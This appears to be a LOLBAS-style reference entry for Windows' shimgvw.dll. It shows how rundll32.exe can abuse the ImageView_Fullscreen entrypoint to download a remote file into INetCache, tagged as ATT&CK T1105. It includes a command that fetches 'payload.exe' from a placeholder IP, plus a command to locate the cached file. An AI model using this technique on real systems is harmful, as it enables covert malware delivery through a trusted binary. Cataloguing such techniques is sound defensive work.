.. /Shimgvw.dll
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Download (INetCache)

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Paths:

Resources:
Acknowledgements:

Detection:

Download

  1. Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'.

    rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen http://x.x.x.x/payload.exe
    Use case
    Download file from remote location.
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1105
    Tags
    Download: INetCache
    INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
    If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
    cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"